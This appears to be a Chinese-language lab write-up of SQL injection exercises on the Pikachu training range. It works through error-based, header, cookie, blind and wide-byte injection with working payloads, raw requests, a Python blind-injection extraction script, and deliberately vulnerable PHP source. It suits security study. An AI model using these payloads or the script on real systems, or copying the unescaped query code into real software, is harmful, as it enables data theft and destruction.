username='admin&password=tumei&sex=&phonenum=&email=&add=&submit=submit
# 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin',md5('tumei'),'','','','')' at line 1

# 试下加#号
username=admin&password='#&sex=&phonenum=&email=&add=&submit=submit
# 报错:You have an error in0 your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

# 查看系统版本
username=test' or updatexml(1,concat(0x7e,(select @@version),0x7e),0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit
# 报错:XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~'

# 查看数据库用户
username=test' or updatexml(0,concat(0x7e,(select user()) ,0x7e) ,0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit
# 报错:XPATH syntax error: '~root@localhost~'

# 拿当前数据库名
username=test' or updatexml(1,concat(0x7e,database(),0x7e),0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit
# 报错:XPATH syntax error: '~pikachu~'

# 注册时使用到的数据表
username=test' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'),0x7e),0) or '&password=ada&sex=&phonenum=&email=&add=&submit=submit
# 报错:Truncated incorrect DOUBLE value: 'test'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# 函数解析
# UPDATEXML (XML_document, XPath_string, new_value);
# 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
# 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
# 第三个参数:new_value,String格式,替换查找到的符合条件的数据
# 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值

# 举例
# 爆系统版本
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
# concat()函数是mysql的字符串连接函数,使用时,16进制也将自动转义,如0x7e是 ~ 符号
# 用concat+updatexml注入时,通常加上16进制的连接符(如0x7e),使返回内容的完全显示
# 因此不会符合XPATH_string的格式,从而出现格式错误,爆出
XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~'
# 不加0x7e试试,没问题呀,当个习惯吧,'delete'注入中的解析讲有,制造不正确的路径
updatexml(1,concat((SELECT @@version)),1)


# 由于代码执行后没有回显,需要采用报错注入
# xpath语法错误
# 如下方法的返回值均为写入非法格式内容,其返回内容即为需要查询结果

# extractvalue() # 查询XML文档的函数
# extractvalue(目标xml文档,xml路径)
# extractvalue()能查询字符串的最大长度为32;若超过,则使用substring()函数截取
# 路径为‘/a’得到正常返回,为‘/a/’得到报错返回,如下
select * from member where username='' AND extractvalue(1,'/a/');
# 查询当前数据库
select * from member where username='' AND extractvalue(1,CONCAT(1,DATABASE()));
# 查询pikachu数据库下所有表,其中使用substring()函数进行截取
select * from member where username='' AND extractvalue(1,concat(0x7e,(select subString(GROUP_CONCAT(table_name),1,8) from information_schema.tables where table_schema='pikachu'),0x7e));
# 返回:XPATH syntax error: '~httpinfo~'
# 截取后半部分未显示的表名
select * from member where username='' AND extractvalue(1,concat(0x7e,(select subString(GROUP_CONCAT(table_name),15,32) from information_schema.tables where table_schema='pikachu'),0x7e));
# 返回:XPATH syntax error: '~r,message,users,xssblind~'

# updatexml() # 更新xml文档的函数
# updatexml(目标xml文档,xml路径,更新的内容)
# 正常使用
select * from member where username='' or updatexml(1,'/a','admin');
# updatexml(1,'/a','admin') 返回true,若路径为‘/a/’将触发报错机制,如下为报错结果
# XPATH syntax error: ''
# 写入' or updatexml(1,concat(0x7e,(select @@version),0x7e),0);
select * from member where username='' or updatexml(1,concat(0x7e,(select @@version),0x7e),0);
# 报错返回:XPATH syntax error: '~5.7.26-0ubuntu0.18.04.1-log~'
# 查询pikachu数据库下的所有表,其中使用了GROUP_CONCAT()多行显示问题(Subquery returns more than 1 row)
select * from member where username='' or updatexml(1,concat(0x7e,(select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),0);
# 返回结果:XPATH syntax error: '~httpinfo,member,message,users,x'
# 对比数据库可知,返回结果的x全文应为xssblind,
# 多次比对,结果显而易见
select email from member where username='' or updatexml(1,concat(0x7e,(select GROUP_CONCAT(username) FROM member),0x7e),1);
# 通过SUBSTRING()方法获取后半部分,一次最多显示32个字符,为保证lucy的完整性,从30位开始
select email from member where username='' or updatexml(1,concat(0x7e,(select SUBSTRING(GROUP_CONCAT(username),30,32) FROM member),0x7e),1);
# 结果:> 1105 - XPATH syntax error: '~lucy,lili,admin,admin,admin1,ro'
#
#
# exp() 溢出报错注入
# 该函数以e为底的指数函数,在参数大于709时溢出报错
select exp(710);
# > DOUBLE value is out of range in 'exp(710)'
select ~0; # 将0按位取反就会返回“18446744073709551615
select ~(select version()); # 显示数据库版本,并将之按位取反得到“18446744073709551610
# 子查询结合按位求反,造成DOUBLE overflow error,并借由此注出数据。
# 呃……这里有些懵,看其他师傅的解析也还是懵,后边再看吧
select exp(~(select * from(select database())x));
# 报错:DOUBLE value is out of range in 'exp(~((select `x`.`database()` from (select database() AS `database()`) `x`)))'
# 好吧,当前版本mysql数据库(5.7.26-0ubuntu0.18.04.1-log)无法实现报错,5.5.42版本的EXP() 函数可以实现报错注入
# 发现一个报错显示当前数据库名的方法
select * from a # > 1146 - Table 'pikachu.a' doesn't exist
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# 登录部分源码

# connect() 方法
# 打开一个非持久的 MySQL 连接
# 返回一个代表到 MySQL 服务器的连接对象

# escape() 方法
# 该方法不会对 ASCII 字母和数字进行编码,也不会对一下 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。
# 返回编码字符串,或者在失败时返回 FALSE。

# execute() 方法
# 执行已经预处理过的语句,并且只是返回执行结果成功或失败

# mysqli_num_rows() 函数
# 返回结果集中行的数量

# mysqli_fetch_assoc() 函数
# 从结果集中取得一行作为关联数组


$link=connect();

if(isset($_GET['submit'])){
if($_GET['username']!=null && $_GET['password']!=null){
//转义,防注入
$username=escape($link, $_GET['username']);
$password=escape($link, $_GET['password']);
$query="select * from member where username='$username' and pw=md5('$password')";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$_SESSION['sqli']['username']=$username;
$_SESSION['sqli']['password']=sha1(md5($password));
header("location:sqli_mem.php");
}else{
$html.="<p>登录失败,请重新登录</p>";
}

}

}


# 注册部分源码

# isset() 函数
# 用于检测变量是否已设置并且非 NULL。

# mysqli_affected_rows() 函数
# 返回前一次 MySQL 操作(SELECT、INSERT、UPDATE、REPLACE、DELETE)所影响的记录行数。

$link=connect();

$html='';
if(isset($_POST['submit'])){
if($_POST['username']!=null &&$_POST['password']!=null){
// $getdata=escape($link, $_POST);//转义

//没转义,导致注入漏洞,操作类型为insert
$getdata=$_POST;
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
$html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
}else {
$html.="<p>注册失败,请检查下数据库是否还活着</p>";

}
}else{
$html.="<p>必填项不能为空哦</p>";
}
}


“delete”注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# 查看所有链接可以看到,是通过id进行留言的删除
http://192.168.135.130:49154/vul/sqli/sqli_del.php?id=59

# 引号测试报错
# > 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 2

# or 1=1 制造永真式删除 message 表中所有数据
delete from message where id=58 OR 1=1;
# 返回:> Affected rows: 2

# 结合 updatexml 函数进行报错注入
# or updatexml(1,concat(0x7e,(select GROUP_CONCAT(username) FROM member),0x7e),0)
delete from message where id=58 or updatexml(1,concat(0x7e,(select GROUP_CONCAT(username) FROM member),0x7e),0);

# 结合 extractvalue() 函数进行报错注入
# or extractvalue(1,concat(0x7e,(select GROUP_CONCAT(TABLE_SCHEMA) FROM information_schema.TABLES ),0x7e)) 进行查所有数据库名操作
delete from message where id=58 or extractvalue(1,concat(0x7e,(select GROUP_CONCAT(TABLE_SCHEMA) FROM information_schema.TABLES ),0x7e));
# GROUP_CONCAT() 函数的最大允许结果长度(以字节为单位),默认值为1024,超过直接报截断错误:> 1260 - Row 54 was cut by GROUP_CONCAT()
#使用 DISTINCT 关键字干掉重复值
# DISTINCT 关键字与 SELECT 语句一起使用,来消除所有重复的记录,并只获取唯一一次记录,但效果似乎不是很好
delete from message where id=58 AND extractvalue(1,concat(0x7e,(select GROUP_CONCAT(distinct TABLE_SCHEMA) FROM information_schema.TABLES),0x7e))
# 报错结果:> 1105 - XPATH syntax error: '~information_schema,mysql,perfor'
# 使用 LIMIT 子句限制 SELECT 语句中查询的数据的数量,使用 OFFSET 子句设置偏移量(偏移量0开始计算)
delete from message where id=58 AND extractvalue(1,concat(0x7e,(select TABLE_SCHEMA FROM information_schema.TABLES LIMIT 1 OFFSET 205),0x7e))
# 返回结果:> 1105 - XPATH syntax error: '~sys~'
# 但有个问题,这个偏移量需要设置的有点多呀,还是需要用到 DISTINCT 关键字干掉重复值
delete from message where id=58 AND extractvalue(1,concat(0x7e,(select DISTINCT TABLE_SCHEMA FROM information_schema.TABLES LIMIT 1 OFFSET 1),0x7e))
# 简单解析下上面的 sql 语句
# 1.通过 AND 关键字实现多个语句的使用
# 2.通过 extractvalue 函数进行报错,其返回结果位不正确的参数
# 3.通过 concat 函数进行字符串的连接,主要为 extractvalue 函数提供不正确的参数(0x7e的作用)
# 4.通过 DISTINCT 关键字获取 TABLE_SCHEMA 字段所有记录的唯一值
# 5.通过 LIMIT 关键字限制查找单条记录
# 6.通过 OFFSEC 关键字设置偏移量,打破了1 row报错,实现查询整个表

# 想起之前用到的 SUBSTRING 关键字,对字符串进行提取!每次查找获得一次,先说一下思路,使用 DISTINCT 关键字对查找字段进行去重,然后使用 GROUP_CONCAT 方法成组,当过长则使用 SUBSTRING 方法进行截取显示
select GROUP_CONCAT( DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES;
# 现在的问题,前两步可以实现,但接入第三步只显示第一个数据库。??可以了,好吧,多试试,可能是哪个字符写错了
select SUBSTRING(GROUP_CONCAT( DISTINCT TABLE_SCHEMA),32,32) FROM information_schema.TABLES;
# 当前题目的语句
# 写入or extractvalue(1,concat(0x7e,(select SUBSTRING(GROUP_CONCAT( DISTINCT TABLE_SCHEMA),32,32) FROM information_schema.TABLES),0x7e))
# 完整sql语句
delete from message where id=58 or extractvalue(1,concat(0x7e,(select SUBSTRING(GROUP_CONCAT( DISTINCT TABLE_SCHEMA),32,32) FROM information_schema.TABLES),0x7e),1)
# 报错结果:XPATH syntax error: '~mance_schema,pikachu,pkxss,sys~'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 源码

# array_key_exists() 函数
# 检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。

# mysqli_affected_rows() 函数
# 返回前一次 MySQL 操作(SELECT、INSERT、UPDATE、REPLACE、DELETE)所影响的记录行数。

$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
//插入转义
$message=escape($link, $_POST['message']);
$query="insert into message(content,time) values('$message',now())";
$result=execute($link, $query);
if(mysqli_affected_rows($link)!=1){
$html.="<p>出现异常,提交失败!</p>";
}
}


// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
//没对传进来的id进行处理,导致DEL注入
if(array_key_exists('id', $_GET)){
$query="delete from message where id={$_GET['id']}";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){
header("location:sqli_del.php");
}else{
$html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
}
}

“http header”注入

1
2
3
4
5
6
7
8
9
# 真·见框就x
# 太菜了,看下提示:admin/123456
# 好了,中招了
#
朋友,你好,你的信息已经被记录了:点击退出
你的ip地址:192.168.135.128
你的user agent:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
你的http accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
你的端口(本次连接):tcp50042
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 已被记录User-agents等信息!这是与数据库交互了呗
# 先抓个包分析登录请求,User-Agent和Accept、ip、port参数可控
# 再比对下数据库,确实了。记下数据库路劲:pikachu/httpinfo
# 登录时请求
#
POST /vul/sqli/sqli_header/sqli_header_login.php HTTP/1.1
Host: 192.168.135.130:49154
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.135.130:49154/vul/sqli/sqli_header/sqli_header_login.php
Cookie: PHPSESSID=lc7ll418j82rovatgm64brnf5j
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

username=admin&password=123456&submit=Login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 憨憨如我,一直尝试登录界面的请求,而没在意登陆成功后的响应
# 这不就来了吗
#
# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','51013')' at line 1
#
# 登录成功后的响应
GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.135.130:49154
User-Agent: '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=lc7ll418j82rovatgm64brnf5j
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# payload 和前面的基本一样,整个经典滴例子
# 请求
#
GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.135.130:49154
User-Agent: tumei' and updatexml(1,concat(0x7e,database()),0) and '
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=lc7ll418j82rovatgm64brnf5j
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
#
# 部分响应
<div class="sidebar-toggle sidebar-collapse" id="sidebar-collapse">
<i id="sidebar-toggle-icon" class="ace-icon fa fa-angle-double-left ace-save-state" data-icon1="ace-icon fa fa-angle-double-left" data-icon2="ace-icon fa fa-angle-double-right"></i>
</div>
</div>
XPATH syntax error: '~pikachu'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 其他注入点
# 试了下,仅有UA和Accept可进行注入,对Host进行注入你猜能连得上吗
#
GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.135.130:49154
User-Agent:0xtlu.me
Accept: tumei' and updatexml(1,concat(0x7e,database()),0) and '
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=lc7ll418j82rovatgm64brnf5j
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
#
# 报错响应
XPATH syntax error: '~pikachu'
#
#
#
# cookie 注入
# 再看一眼后台请求,这cookie有点意思,直接用ant数组存储账密,这是与数据库交互了吧
# Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=lc7ll418j82rovatgm64brnf5j
# 试一波单引号,阔以;报错注入,哦豁
#
GET /vul/sqli/sqli_header/sqli_header.php HTTP/1.1
Host: 192.168.135.130:49154
User-Agent:0xtlu.me
Accept: 0xtlu.me
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ant[uname]=admin' or updatexml(9, concat('~', database(), '~'),0) or '; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=lc7ll418j82rovatgm64brnf5j
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

盲注(base on boolian)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 随便写入 admin ,提示不存在,该输入 lucy ,返回 id 和 email
# 看下url,name拼接输入内容(lucy);再加个单引号,还是不存在;再加个注释(#),咋没提示
# 看下官方提示(admin/123456),啥玩意?
# lucy' AND TRUE#,可以呀,试下永真式(lucy' or 1=1#),不存在? AND关键字都行,不可能我 OR 不行的,比对源码,解析在下一个代码块
#
# 看了下其他师傅的,通过 'and'关键字构造《真事件TRUE》来判断字符存在(and事件成立,则提示id和email,反之提示不存在)。
# 写入假事件(lucy' and FALSE #),其中and左边为TRUE,右边为FALSE,提示不存在,完整sql:
select id,email from member where username='lucy' and FALSE #'
# 写入真事件,上面的 FALSE 改为 TRUE 就行
# sql语法中,'='符号为if等条件判断中使用;
# 来个小栗子好理解,输入 lucy' and substring(database(),1,1)='p'#
# 上述写入理解:使用 database() 函数获取当前数据库名(字符串),使用 substring() 函数拿取字符串位序为1开始的1个字符,通过'=='判断字符与猜想的(此处为'p')是否一致,此处 and 的右边为TRUE,整个sql语句正确,提交显示 lucy 的id和email。
# 通过bp的爆破模块,将 substring() 函数的第2参数作为第1变量(字典:1到正无穷),将猜想 p 作为第2变量(字典:a-z、A-Z、1-9、特殊字符)
# 看到这,是不是很想sqlmap的报库名环节,不断猜想。现在,让我们来试试python爬虫
# python 脚本如下个代码块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 源码
#
# 比较 mysqli_num_rows() 函数返回记录数,为一条记录则输出其中的 id 和 email 字段
# # 当输入永真式(luc' OR TRUE)时,列出member表中所有记录,则记录数不为1,故执行 else 语句
# 使用限制显示记录的关键字:limit;使用限制偏移量的关键字:offset。展示:
# luc' OR TRUE limit 1 offset 2#
# 单条记录显示,如果我想拉取所有数据呢?怎么来?爬虫!
#
#
# 等下啦,先看看如何显示当前数据库名,UNION 连接两个 SELECT 语句,仍是使用 LIMIT 和 OFFSET 限制记录数和显示那条记录。
# 如下,第一条 SELECT 语句得到一条空记录,第二条 SELECT 语句获得(id=1,email=‘当前数据库名’)
# a' UNION select 1, database() LIMIT 1 OFFSET 1#
#
#
# mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组

$html='';
if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
//mysqi_query不打印错误描述,即使存在注入,也不好判断
$result=mysqli_query($link, $query);//
// $result=execute($link, $query);
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
$html.="<p class='notice'>your uid:{$id}
your email is: {$email}</p>";
}
}else{

$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# python脚本
#
import requests
import re

# 需要参数内容
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.55'
};
url = 'http://192.168.135.130:49154/vul/sqli/sqli_blind_b.php';

# grammar = 'database()'
# 存储各个查询命令
grammars = ['database()', '(SELECT GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES)',
'(SELECT GROUP_CONCAT(DISTINCT TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA="pikachu")',
'(SELECT GROUP_CONCAT(DISTINCT COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA="pikachu")',
'(SELECT GROUP_CONCAT(DISTINCT username) FROM pikachu.member)']
num = 0
# grammar = ''
# sql 语法不区分字母大小写
guess = 'abcdefghigklmnopqrstuvwxyz0123456789@_.,'


# 循环使用各个语句
def loop():
for i in enumerate(grammars):
print(i[1] + "-->", end='')
grammar = i[1]
parameter(grammar)
print()


# 处理参数语句
def parameter(data):
values = ''
length = 0
flag = False
# 获取数据库名长度
# for i in range(1, 100):
# # 检测当前数据库名长度
# # values = "lucy' and length(grammar)={num}#".format(num=i)
# # 拿到 information_schema.TABLES 的字段 TABLE_SCHEMA 下所有不重复值成组长度
# values = "lucy' and (SELECT length(GROUP_CONCAT(DISTINCT TABLE_SCHEMA)) FROM information_schema.TABLES)={num}#".format(
# num=i)
# # print(values)
# flag = query(values)
# if flag:
# print("数据库名长度:" + str(i))
# length = i
# # return i
# for i in range(1, length + 1):
flag = False
isnum = 0
for i in range(1, 1024):
# for j in range(0, len(guess) + 1):
for j in range(0, len(guess)):
x = guess[j:j + 1]
# print(x, end='')
values = "lucy' and substring({grammar},{num},1)='{guess}'#".format(grammar=data, num=i,
guess=x)
flag = query(values)
# print(flag)
if flag:
print(x, end='')
break
# 不先获取数据长度的后果,继续做值爆破完成判断
# print('-' + str(isnum),end='')
# print(bool(1-flag),end='')
if bool(1 - flag):
# print('ni-' + x + '-ni' + str(i))
isnum = isnum + 1
if isnum == 2:
break
# flag = False
# print()
# print(values)


# 弄个请求函数
def query(values):
params = {
'name': values,
'submit': '查询'
}
response = requests.get(url=url, headers=headers, params=params);
query_text = response.text
# print(query_text)
#
# 使用xpath
# tree = etree.HTML(query_text)
# tree_str = tree.xpath('//div/p[@class="notice"]/text()')
# print(tree_str[0])
#
# 使用正则
ex = "<p class='notice'>(.*?) uid:.*?</p>"
judge = re.findall(ex, query_text, re.S)
# print(judge)
if len(judge) == 0:
return False
else:
return True


if __name__ == "__main__":
# print(values)
# query()
# parameter()
loop()
input('\n请输入任意键退出!!!')

盲注(base on time)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 任意输入看提示;输入存在账户,都是提示:
i don't care who you are!
# 不在乎我是谁?
# 根据关卡名判断,与时间有关!F12分别看下响应时间,多次测试得到:36ms和31ms
# 注:正确账户响应时间更长
# 试了下其他操作,有些命令执行时间过短,难以判断,调用 if 语句和 sleep() 函数进行延时判断:
lucy' and if(substring(database(),1,1)='p',sleep(6),null)#
# 语句解析:当 if 语句为 TRUE,则延时6s,反之时间很小,多以ms为单位
#
# 其他payload
# 查看当前数据库名长度
lucy' and if(length(database())=7, sleep(6), null)#
# 查看所有数据库名成组后长度
lucy' and if((SELECT length(GROUP_CONCAT(DISTINCT TABLE_SCHEMA)) FROM information_schema.TABLES)=61,sleep(6),null)#
# 想着试下 union 关键字,额,没显示呀
# 搞下报错,……搞不出,好吧,太菜了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 还是得分析下源码滴
# submit存在,对输入进行判空
# mysqli_query() 函数执行某个针对数据库的查询,返回TRUE or FALSE
# $result 存在且为单行记录
# 成功与失败的返回是一致的,如靶场作者所说,更加不好判断了
# SO,需要我们根据响应时间进行判断,分析源码可以看到 $result 但凡有一项不满足直接提示;若全满足,则进行其他操作,增加响应时间

$link=connect();

$html='';

if(isset($_GET['submit']) && $_GET['name']!=null){
$name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
$query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
$result=mysqli_query($link, $query);//mysqi_query不打印错误描述
// $result=execute($link, $query);
// $html.="<p class='notice'>i don't care who you are!</p>";
if($result && mysqli_num_rows($result)==1){
while($data=mysqli_fetch_assoc($result)){
$id=$data['id'];
$email=$data['email'];
//这里不管输入啥,返回的都是一样的信息,所以更加不好判断
$html.="<p class='notice'>i don't care who you are!</p>";
}
}else{

$html.="<p class='notice'>i don't care who you are!</p>";
}
}

宽字节注入

  • 原理:利用MySQL特性,即MySQL使用GBK编码时,认为两个字符为一个汉字(前一个ASCII码要大于128,进入汉字范围)。
  • 宽字节注入 方法:单引号逃逸
    1
    2
    3
    4
    5
    6
    7
    SET NAMES 'gbk'
    #
    # 以上1行等价与如下3行,该数据的写入导致宽字节注入的出现
    #
    SET character_set_connection='gbk'
    SET character_set_results='gbk'
    SET character_set_client=gb
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    # 哒哒哒,骑上我心爱的小摩托!
    # payload:1%df%27+or+1=1#
    # 咋咧,直接写入不存在?hacker 插件写入也不存在
    # burp,我们走!(请求包放下一个代码块)什么原理,居然可以
    # 有点明白,不知道对不对,即编码次数与解码次数不一致导致无法正确识别
    # bp抓包可以看到,1%df%27+or+1=1# 被再次编码:1%25df%2527%2Bor%2B1%3D1%23
    # 问题分析:上边的单引号已经使用%27进行编码,当浏览器上传时再次编码,源码文件中再次进行转义,但此时 escape() 函数已经无法识别出单引号了;即便语句换成 1%df' or 1=1# 也因浏览器的上传编码导致单引号变成%27,最后 escape() 函数也不需要进行转义处理。
    # 更改下,使用hacker插件写入 1%df' or 1=1# 作为 name 值,可以
    #
    #
    # 其他payload
    # 联合语句拿所有数据库名
    # name=1%DF' union SELECT 1,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.TABLES#&submit=%E6%9F%A5%E8%AF%A2
    # 拿当前数据库名
    # name=1%DF' union SELECT 1,database()#&submit=%E6%9F%A5%E8%AF%A2
    #
    #
    # 就使用数据库测试时发现,有个奇怪的,根据源码拼接转义后字符串:1�\' or 1=1# ,即
    # select id,email from member where username='1�\' or 1=1#
    # 报错:> 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1�\' or 1=1#' at line 1
    # 少个单引号?什么操作,源码里还有什么操作滴?瞅了一眼,就是直接拼接呀,加个输出(源码解析里看原因):<?php echo $query;?>
    # select id,email from member where username='1�\' or 1=1#'
    # 自提供的单引号倒是构成了闭合,但没数据呀
    # 再看看,看到没:execute($link,$set); ,设置客户端来源编码为 GBK ,
    # 当再执行 mysqli_query($link, $query); 时,因为 SQL 语句中的 '�' 转成 ASCII 码为253,大于128,进入汉字范围,则需要与后一个字符进行组合形成一个汉字(两个字符组成一个汉字),因此,我们的单引号就逃逸了,SQL语句能够形成闭合,造成宽字节注入的实现,这就是宽字节注入的所有实现过程。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    POST /vul/sqli/sqli_widebyte.php HTTP/1.1
    Host: 192.168.135.130:49154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.135.130:49154/vul/sqli/sqli_widebyte.php
    Cookie: PHPSESSID=60trut6t3ruj65dnabae8a07hp
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 46

    name=1%df%27+or+1=1#&submit=%E6%9F%A5%E8%AF%A2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    # 源码分析
    #
    # 调用escape() 对输入内容($_POST['name'])进行重新编码
    # escape() 函数,不会对 ASCII 字母和数字进行编码,也不会对某些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被十六进制的转义序列替换。
    # 然后,就直接拼入SQL语句中
    # 调用 execute() 函数,将 "set character_set_client=gbk" 写入数据库,更改客户端来源编码
    # 使用 mysqli_query() 函数执行查询操作,根据返回结果执行网页输出
    #
    # 写入 %df%27 时进行分析
    # %27 为单引号的URL编码
    # %df 解码为 �,不知道是个啥,不用管,仅为与另一个字符组合构成一个汉字,造成单引号逃逸
    # 当执行 escape($link,$_POST['name']) 时,被转义编码为:%25df%2527
